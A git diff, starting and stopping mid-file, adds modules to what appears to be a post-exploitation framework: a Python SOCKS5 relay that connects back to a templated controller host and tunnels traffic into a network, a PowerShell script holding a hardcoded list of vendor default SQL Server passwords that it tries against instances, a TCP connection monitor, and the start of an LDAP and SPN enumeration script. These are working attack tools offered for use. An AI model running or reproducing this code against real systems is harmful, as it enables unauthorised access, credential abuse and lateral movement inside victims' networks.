message.msg_type == MessageType.CloseChannel: + self.close_channel(message.channel_id) + ignored_channels.append(message.channel_id) + + elif message.msg_type == MessageType.OpenChannel: + self.open_channel(message.channel_id) + + elif message.msg_type == MessageType.Data: + channel = self.id_channel_map.get(message.channel_id) + if channel is None: + self.close_channel(message.channel_id, close_remote=True) + else: + try: + channel.tunnel_interface.sendall(message.body) + except OSError as e: + self.close_channel(channel_id=message.channel_id, close_remote=True) + + else: + tiface_channel_map = {channel.tunnel_interface: channel for (channel, channel_id) in self.channels} + + for tunnel_iface in r: + if tunnel_iface == self.transport: + continue + + channel = tiface_channel_map.get(tunnel_iface) + if channel is None or channel.channel_id in ignored_channels: + continue + + try: + data = tunnel_iface.recv(4096) + except Exception: + self.close_channel(channel.channel_id, close_remote=True) + continue + if not data: + self.close_channel(channel.channel_id, close_remote=True) + continue + + message = Message(data, channel.channel_id, MessageType.Data) + + try: + self.transport_lock.acquire() + self.transport.sendall(message.serialize()) + self.transport_lock.release() + except: + return + return + + def proxy_sock_channel(self, sock, channel, logger): + + def close_both(): + self.close_channel(channel.channel_id, close_remote=True) + sock.close() + + while True: + if (channel, channel.channel_id) not in self.channels: + return + + readfds = [channel, sock] + try: + r, _, _ = select.select(readfds, [], [], 1) + except Exception: + return + if not r: + continue + + if channel in r: + try: + data = channel.recv(4096) + except Exception: + close_both() + return + else: + if not data: + close_both() + return + + try: + sock.sendall(data) + except Exception: + close_both() + return + + if sock in r: + try: + data = sock.recv(4096) + except Exception: + close_both() + return + else: + if not data: + close_both() + return + + try: + channel.send(data) + except Exception: + close_both() + return + + +class Socks5Proxy(object): + @staticmethod + def _remote_connect(remote_host, remote_port, sock, af=socket.AF_INET): + remote_socket = socket.socket(af, socket.SOCK_STREAM) + + if af == socket.AF_INET: + atyp = 1 + local_addr = ('0.0.0.0', 0) + + else: + atyp = 4 + local_addr = ('::', 0) + + try: + remote_socket.connect((remote_host, remote_port)) + except Exception: + reply = struct.pack('BBBB', 0x05, 0x05, 0x00, atyp) + else: + local_addr = remote_socket.getsockname()[:2] + reply = struct.pack('BBBB', 0x05, 0x00, 0x00, atyp) + + reply += socket.inet_pton(af, local_addr[0]) + struct.pack('!H', local_addr[1]) + sock.send(reply) + + return remote_socket + + @classmethod + def new_connect(cls, sock): + sock.recv(4096) + sock.sendall(struct.pack('BB', 0x05, 0x00)) + + request_data = sock.recv(4096) + if len(request_data) >= 10: + ver, cmd, rsv, atyp = struct.unpack('BBBB', request_data[:4]) + if ver != 0x05 or cmd != 0x01: + sock.sendall(struct.pack('BBBB', 0x05, 0x01, 0x00, 0x00)) + sock.close() + raise ValueError() + else: + sock.sendall(struct.pack('BBBB', 0x05, 0x01, 0x00, 0x00)) + sock.close() + raise ValueError() + + if atyp == 1: + addr_type = socket.AF_INET + addr = socket.inet_ntop(socket.AF_INET, request_data[4:8]) + port, = struct.unpack('!H', request_data[8:10]) + elif atyp == 3: + addr_type = socket.AF_INET + length, = struct.unpack('B', request_data[4:5]) + addr = request_data[5:5 + length].decode() + port, = struct.unpack('!H', request_data[length + 5:length + 5 + 2]) + elif atyp == 4: + addr_type = socket.AF_INET6 + addr = socket.inet_ntop(socket.AF_INET6, request_data[4:20]) + port, = struct.unpack('!H', request_data[20:22]) + else: + sock.sendall(struct.pack('BBBB', 0x05, 0x08, 0x00, 0x00)) + sock.close() + raise ValueError() + + host = (addr, port) + remote_sock = cls._remote_connect(addr, port, sock, af=addr_type) + return remote_sock, host + + +class Relay(object): + def __init__(self, connect_host, connect_port, no_ssl=False): + self.no_ssl = no_ssl + self.connect_server = (connect_host, connect_port) + self.tunnel = None + self.tunnel_sock = socket.socket() + if not no_ssl: + try: + self.tunnel_sock = ssl.wrap_socket(self.tunnel_sock) + except ssl.SSLError as e: + sys.exit(-1) + + def _handle_channel(self, channel): + sock = None + + try: + sock, addr = Socks5Proxy.new_connect(channel.client_interface) + except ValueError: + self.tunnel.close_channel(channel.channel_id, close_remote=True) + return + except Exception: + self.tunnel.close_channel(channel.channel_id, close_remote=True) + try: + if isinstance(sock, socket.socket): + sock.close() + except: + pass + return + self.tunnel.proxy_sock_channel(sock, channel, None) + + def open_channel_callback(self, channel): + t = threading.Thread(target=self._handle_channel, args=(channel,)) + t.daemon = True + t.start() + + def run(self): + try: + self.tunnel_sock.connect(self.connect_server) + except Exception: + return + + self.tunnel = Tunnel(self.tunnel_sock, open_channel_callback=self.open_channel_callback) + self.tunnel.wait() + + +relay = Relay('${host}', ${port}, no_ssl=${no_ssl}) +relay.run() diff --git a/data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1 b/data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1 new file mode 100644 index 0000000..ac9752e --- /dev/null +++ b/data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1 @@ -0,0 +1,589 @@ +Function Get-ComputerNameFromInstance { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance.')] + [string]$Instance + ) + If ($Instance) { + $ComputerName = $Instance.split('\')[0].split(',')[0] + } else { + $ComputerName = $env:COMPUTERNAME + } + Return $ComputerName +} +Function Get-SQLConnectionTest { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut, + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin { + $TblResults = New-Object -TypeName System.Data.DataTable + $null = $TblResults.Columns.Add('ComputerName') + $null = $TblResults.Columns.Add('Instance') + $null = $TblResults.Columns.Add('Status') + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + + if($DAC) { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -DAC -TimeOut $TimeOut -Database $Database + } else { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database + } + + try { + $Connection.Open() + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible') + $Connection.Close() + $Connection.Dispose() + } catch { + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') + } + } End { + $TblResults + } +} +Function Get-SQLSession { + + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'PrincipalName.')] + [string]$PrincipalName, + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin { + $TblSessions = New-Object -TypeName System.Data.DataTable + $null = $TblSessions.Columns.Add('ComputerName') + $null = $TblSessions.Columns.Add('Instance') + $null = $TblSessions.Columns.Add('PrincipalSid') + $null = $TblSessions.Columns.Add('PrincipalName') + $null = $TblSessions.Columns.Add('OriginalPrincipalName') + $null = $TblSessions.Columns.Add('SessionId') + $null = $TblSessions.Columns.Add('SessionStartTime') + $null = $TblSessions.Columns.Add('SessionLoginTime') + $null = $TblSessions.Columns.Add('SessionStatus') + + if($PrincipalName) { + $PrincipalNameFilter = " and login_name like '$PrincipalName'" + } else { + $PrincipalNameFilter = '' + } + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if(-not $TestConnection) { + return + } + + $Query = " USE master; + SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + security_id as [PrincipalSid], + login_name as [PrincipalName], + original_login_name as [OriginalPrincipalName], + session_id as [SessionId], + last_request_start_time as [SessionStartTime], + login_time as [SessionLoginTime], + status as [SessionStatus] + FROM [sys].[dm_exec_sessions] + ORDER BY status + $PrincipalNameFilter" + + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + + $TblResults | ForEach-Object -Process { + $NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','') + if ($NewSid.length -le 10) { + $Sid = [Convert]::ToInt32($NewSid,16) + } else { + $Sid = $NewSid + } + + $null = $TblSessions.Rows.Add( + [string]$_.ComputerName, + [string]$_.Instance, + $Sid, + [string]$_.PrincipalName, + [string]$_.OriginalPrincipalName, + [string]$_.SessionId, + [string]$_.SessionStartTime, + [string]$_.SessionLoginTime, + [string]$_.SessionStatus + ) + } + } End { + $TblSessions + } +} +Function Get-SQLSysadminCheck { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin { + $TblSysadminStatus = New-Object -TypeName System.Data.DataTable + + if($CredentialName) { + $CredentialNameFilter = " WHERE name like '$CredentialName'" + } else { + $CredentialNameFilter = '' + } + + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if(-not $TestConnection) { + return + } + + $Query = "SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + CASE + WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No' + ELSE 'Yes' + END as IsSysadmin" + + $TblSysadminStatusTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + $TblSysadminStatus = $TblSysadminStatus + $TblSysadminStatusTemp + } End { + $TblSysadminStatus + } +} +Function Get-SQLConnectionObject { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Dedicated Administrator Connection (DAC).')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut = 1 + ) + + Begin { + if($DAC) { + $DacConn = 'ADMIN:' + } else { + $DacConn = '' + } + + if(-not $Database) { + $Database = 'Master' + } + } Process { + if ( -not $Instance) { + $Instance = $env:COMPUTERNAME + } + $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection + if (-not $Username) { + $AuthenticationType = "Current Windows Credentials" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1" + } + if ($username -like "*\*") { + $AuthenticationType = "Provided Windows Credentials" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut" + } + if (($username) -and ($username -notlike "*\*")) { + $AuthenticationType = "Provided SQL Login" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut" + } + return $Connection + } End { + } +} +Function Get-SQLQuery { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server query.')] + [string]$Query, + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [int]$TimeOut, + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose, + [Parameter(Mandatory = $false, + HelpMessage = 'Return error message if exists.')] + [switch]$ReturnError + ) + + Begin { + $TblQueryResults = New-Object -TypeName System.Data.DataTable + } Process { + if($DAC) { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database + } else { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database + } + + $ConnectionString = $Connection.Connectionstring + $Instance = $ConnectionString.split(';')[0].split('=')[1] + + if($Query) { + try { + $Connection.Open() + $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) + $Results = $Command.ExecuteReader() + $TblQueryResults.Load($Results) + $Connection.Close() + $Connection.Dispose() + } catch { + #Pass + } + } else { + Write-Output -InputObject 'No query provided to Get-SQLQuery function.' + Break + } + } End { + $TblQueryResults + } +} +Function Get-SQLServerInfo { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin { + $TblServerInfo = New-Object -TypeName System.Data.DataTable + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if(-not $TestConnection) { + return + } + + $ActiveSessions = Get-SQLSession -Instance $Instance -Username $Username -Password $Password | + Where-Object -FilterScript { + $_.SessionStatus -eq 'running' + } | Measure-Object -Line | Select-Object -Property Lines -ExpandProperty Lines + + $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Username $Username -Password $Password | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin + if($IsSysadmin -eq 'Yes') { + $SysadminSetup = " + -- Get machine type + DECLARE @MachineType SYSNAME + EXECUTE master.dbo.xp_regread + @rootkey = N'HKEY_LOCAL_MACHINE', + @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions', + @value_name = N'ProductType', + @value = @MachineType output + -- Get OS version + DECLARE @ProductName SYSNAME + EXECUTE master.dbo.xp_regread + @rootkey = N'HKEY_LOCAL_MACHINE', + @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion', + @value_name = N'ProductName', + @value = @ProductName output" + $SysadminQuery = ' @MachineType as [OsMachineType], + @ProductName as [OSVersionName],' + } else { + $SysadminSetup = '' + $SysadminQuery = '' + } + + $Query = " -- Get SQL Server Information + -- Get SQL Server Service Name and Path + DECLARE @SQLServerInstance varchar(250) + DECLARE @SQLServerServiceName varchar(250) + if @@SERVICENAME = 'MSSQLSERVER' + BEGIN + set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER' + set @SQLServerServiceName = 'MSSQLSERVER' + END + ELSE + BEGIN + set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250)) + set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250)) + END + -- Get SQL Server Service Account + DECLARE @ServiceaccountName varchar(250) + EXECUTE master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', @SQLServerInstance, + N'ObjectName',@ServiceAccountName OUTPUT, N'no_output' + -- Get authentication mode + DECLARE @AuthenticationMode INT + EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', + N'Software\Microsoft\MSSQLServer\MSSQLServer', + N'LoginMode', @AuthenticationMode OUTPUT + -- Grab additional information as sysadmin + $SysadminSetup + -- Return server and version information + SELECT '$ComputerName' as [ComputerName], + @@servername as [Instance], + DEFAULT_DOMAIN() as [DomainName], + @SQLServerServiceName as [ServiceName], + @ServiceAccountName as [ServiceAccount], + (SELECT CASE @AuthenticationMode + WHEN 1 THEN 'Windows Authentication' + WHEN 2 THEN 'Windows and SQL Server Authentication' + ELSE 'Unknown' + END) as [AuthenticationMode], + CASE SERVERPROPERTY('IsClustered') + WHEN 0 + THEN 'No' + ELSE 'Yes' + END as [Clustered], + SERVERPROPERTY('productversion') as [SQLServerVersionNumber], + SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion], + serverproperty('Edition') as [SQLServerEdition], + SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack], + SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture], + $SysadminQuery + RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber], + SYSTEM_USER as [Currentlogin], + '$IsSysadmin' as [IsSysadmin], + '$ActiveSessions' as [ActiveSessions]" + $TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + $TblServerInfo = $TblServerInfo + $TblServerInfoTemp + } End { + $TblServerInfo + } +} +Function Get-SQLServerLoginDefaultPw { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin { + # Table for output + $TblResults = New-Object -TypeName System.Data.DataTable + $TblResults.Columns.Add('Computer') | Out-Null + $TblResults.Columns.Add('Instance') | Out-Null + $TblResults.Columns.Add('Username') | Out-Null + $TblResults.Columns.Add('Password') | Out-Null + $TblResults.Columns.Add('IsSysAdmin') | Out-Null + + # Create table for database of defaults + $DefaultPasswords = New-Object System.Data.DataTable + $DefaultPasswords.Columns.Add('Instance') | Out-Null + $DefaultPasswords.Columns.Add('Username') | Out-Null + $DefaultPasswords.Columns.Add('Password') | Out-Null + + # Populate DefaultPasswords data table + $DefaultPasswords.Rows.Add("ACS","ej","ej") | Out-Null + $DefaultPasswords.Rows.Add("ACT7","sa","sage") | Out-Null + $DefaultPasswords.Rows.Add("AOM2","admin","ca_admin") | out-null + $DefaultPasswords.Rows.Add("ARIS","ARIS9","*ARIS!1dm9n#") | out-null + $DefaultPasswords.Rows.Add("AutodeskVault","sa","AutodeskVault@26200") | Out-Null + $DefaultPasswords.Rows.Add("BOSCHSQL","sa","RPSsql12345") | Out-Null + $DefaultPasswords.Rows.Add("BPASERVER9","sa","AutoMateBPA9") | Out-Null + $DefaultPasswords.Rows.Add("CDRDICOM","sa","CDRDicom50!") | Out-Null + $DefaultPasswords.Rows.Add("CODEPAL","sa","Cod3p@l") | Out-Null + $DefaultPasswords.Rows.Add("CODEPAL08","sa","Cod3p@l") | Out-Null + $DefaultPasswords.Rows.Add("CounterPoint","sa","CounterPoint8") | Out-Null + $DefaultPasswords.Rows.Add("CSSQL05","ELNAdmin","ELNAdmin") | Out-Null + $DefaultPasswords.Rows.Add("CSSQL05","sa","CambridgeSoft_SA") | Out-Null + $DefaultPasswords.Rows.Add("CADSQL","CADSQLAdminUser","Cr41g1sth3M4n!") | Out-Null + $DefaultPasswords.Rows.Add("DHLEASYSHIP","sa","DHLadmin@1") | Out-Null + $DefaultPasswords.Rows.Add("DPM","admin","ca_admin") | out-null + $DefaultPasswords.Rows.Add("DVTEL","sa","") | Out-Null + $DefaultPasswords.Rows.Add("EASYSHIP","sa","DHLadmin@1") | Out-Null + $DefaultPasswords.Rows.Add("ECC","sa","Webgility2011") | Out-Null + $DefaultPasswords.Rows.Add("ECOPYDB","e+C0py2007_@x","e+C0py2007_@x") | Out-Null + $DefaultPasswords.Rows.Add("ECOPYDB","sa","ecopy") | Out-Null + $DefaultPasswords.Rows.Add("Emerson2012","sa","42Emerson42Eme") | Out-Null + $DefaultPasswords.Rows.Add("HDPS","sa","sa") | Out-Null + $DefaultPasswords.Rows.Add("HPDSS","sa","Hpdsdb000001") | Out-Null + $DefaultPasswords.Rows.Add("HPDSS","sa","hpdss") | Out-Null + $DefaultPasswords.Rows.Add("INSERTGT","msi","keyboa5") | Out-Null + $DefaultPasswords.Rows.Add("INSERTGT","sa","") | Out-Null + $DefaultPasswords.Rows.Add("INTRAVET","sa","Webster#1") | Out-Null + $DefaultPasswords.Rows.Add("MYMOVIES","sa","t9AranuHA7") | Out-Null + $DefaultPasswords.Rows.Add("PCAMERICA","sa","pcAmer1ca") | Out-Null + $DefaultPasswords.Rows.Add("PCAMERICA","sa","PCAmerica") | Out-Null + $DefaultPasswords.Rows.Add("PRISM","sa","SecurityMaster08") | Out-Null + $DefaultPasswords.Rows.Add("RMSQLDATA","Super","Orange") | out-null + $DefaultPasswords.Rows.Add("RTCLOCAL","sa","mypassword") | Out-Null + $DefaultPasswords.Rows.Add("SALESLOGIX","sa","SLXMaster") | Out-Null + $DefaultPasswords.Rows.Add("SIDEXIS_SQL","sa","2BeChanged") | Out-Null + $DefaultPasswords.Rows.Add("SQL2K5","ovsd","ovsd") | Out-Null + $DefaultPasswords.Rows.Add("SQLEXPRESS","admin","ca_admin") | out-null + $DefaultPasswords.Rows.Add("STANDARDDEV2014","test","test") | Out-Null + $DefaultPasswords.Rows.Add("TEW_SQLEXPRESS","tew","tew") | Out-Null + $DefaultPasswords.Rows.Add("vocollect","vocollect","vocollect") | Out-Null + $DefaultPasswords.Rows.Add("VSDOTNET","sa","") | Out-Null + $DefaultPasswords.Rows.Add("VSQL","sa","111") | Out-Null + + $PwCount = $DefaultPasswords | measure | select count -ExpandProperty count + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if (-not $Instance) { + $Instance = $env:COMPUTERNAME + } + + # Grab only the instance name + $TargetInstance = $Instance.Split("\")[1] + + # Bypass ports and default instances + if (-not $TargetInstance) { + "$Instance : No instance match found." + return + } + $TblResultsTemp = $DefaultPasswords | Where-Object { $_.instance -eq "$TargetInstance"} + + if ($TblResultsTemp) { + "$Instance : Confirmed instance match." + } else { + "$Instance : No instance match found." + return + } + $CurrentUsername = $TblResultsTemp.username + $CurrentPassword = $TblResultsTemp.password + $LoginTest = Get-SQLServerInfo -Instance $instance -Username $CurrentUsername -Password $CurrentPassword -SuppressVerbose + if ($LoginTest) { + "$Instance : Confirmed default credentials - $CurrentUsername/$CurrentPassword" + $SysadminStatus = $LoginTest | select IsSysadmin -ExpandProperty IsSysadmin + $TblResults.Rows.Add( + $ComputerName, + $Instance, + $CurrentUsername, + $CurrentPassword, + $SysadminStatus + ) | Out-Null + } else { + "$Instance : No credential matches were found." + } + } End { + ForEach ($Result in $TblResults) { + "Computer : " + $Result.Computer + "Instance : " + $Result.Instance + "Username : " + $Result.Username + "Password : " + $Result.Password + "IsSysAdmin : " + $Result.IsSysAdmin + "" + } + } +} \ No newline at end of file diff --git a/data/module_source/situational_awareness/host/Start-MonitorTCPConnections.ps1 b/data/module_source/situational_awareness/host/Start-MonitorTCPConnections.ps1 new file mode 100755 index 0000000..062d02e --- /dev/null +++ b/data/module_source/situational_awareness/host/Start-MonitorTCPConnections.ps1 @@ -0,0 +1,40 @@ +function Start-TCPMonitor { + [cmdletbinding()] + Param( + [Parameter(Mandatory=$true)] + [String]$TargetDomain, + [Parameter(Mandatory=$false)] + [Int]$CheckInterval=30 + ) + + Function Get-ActiveTCPConnections { + try { + $TCPProperties = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties() + $Connections = $TCPProperties.GetActiveTcpConnections() + return $Connections + + } catch { + Write-Error "Failed to get active connections. $_" + return @() + } + } + + While(1){ + $TargetDomainResolution = [System.Net.Dns]::GetHostAddresses("$TargetDomain") + $TargetIPs = New-Object System.Collections.ArrayList + foreach($i in $TargetDomainResolution ) { + $TargetIPs.Add($i.IPAddressToString.trim()) >$null 2>&1 + } + $tcpConns = Get-ActiveTCPConnections + foreach($Connection in $tcpConns) { + foreach($IP in $TargetIPs) { + if( $Connection.RemoteEndPoint.Address.IPAddressToString -eq $IP ) { + "Host connected to $TargetDomain" + } + } + } + + sleep($CheckInterval) + + } +} diff --git a/data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1 b/data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1 new file mode 100644 index 0000000..b479fb9 --- /dev/null +++ b/data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1 @@ -0,0 +1,260 @@ +Function Get-DomainObject { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'Domain user to authenticate with domain\user.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'Domain password to authenticate with domain\user.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'Domain controller for Domain and Site that you want to query against.')] + [string]$DomainController, + [Parameter(Mandatory = $false, + HelpMessage = 'LDAP Filter.')] + [string]$LdapFilter = '', + [Parameter(Mandatory = $false, + HelpMessage = 'LDAP path.')] + [string]$LdapPath, + [Parameter(Mandatory = $false, + HelpMessage = 'Maximum number of Objects to pull from AD, limit is 1,000 .')] + [int]$Limit = 1000, + [Parameter(Mandatory = $false, + HelpMessage = 'scope of a search as either a base, one-level, or subtree search, default is subtree.')] + [ValidateSet('Subtree','OneLevel','Base')] + [string]$SearchScope = 'Subtree' + ) + Begin { + if($Username -and $Password) { + $secpass = ConvertTo-SecureString $Password -AsPlainText -Force + $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ($Username, $secpass) + } + if ($DomainController) { + $objDomain = (New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password).distinguishedname + if($LdapPath) { + $LdapPath = '/'+$LdapPath+','+$objDomain + $objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController$LdapPath", $Credential.UserName, $Credential.GetNetworkCredential().Password + } else { + $objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password + } + $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath + } else { + $objDomain = ([ADSI]'').distinguishedName + if($LdapPath) { + $LdapPath = $LdapPath+','+$objDomain;$objDomainPath = [ADSI]"LDAP://$LdapPath" + } else { + $objDomainPath = [ADSI]'' + } + $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath + } + $objSearcher.PageSize = $Limit + $objSearcher.Filter = $LdapFilter + $objSearcher.SearchScope = 'Subtree' + } Process { + try { + $objSearcher.FindAll() | % -Process {$_} + } catch { + "Error was $_" + $line = $_.InvocationInfo.ScriptLineNumber + "Error was in Line $line" + } + } End { + } +} + +Function Get-DomainSpn { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'Domain user to authenticate with domain\user.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'Domain password to authenticate with domain\user.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'Domain controller for Domain and Site that you want to query against.')] + [string]$DomainController, + [Parameter(Mandatory = $false, + HelpMessage = 'Computer name to filter for.')] + [string]$ComputerName, + [Parameter(Mandatory = $false, + HelpMessage = 'Domain account to filter for.')] + [string]$DomainAccount, + [Parameter(Mandatory = $false, + HelpMessage = 'SPN service code.')] + [string]$SpnService, + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + Begin { + if(-not $SuppressVerbose){'Getting domain SPNs...'} + $TableDomainSpn = New-Object -TypeName System.Data.DataTable + $null = $TableDomainSpn.Columns.Add('UserSid') + $null = $TableDomainSpn.Columns.Add('User') + $null = 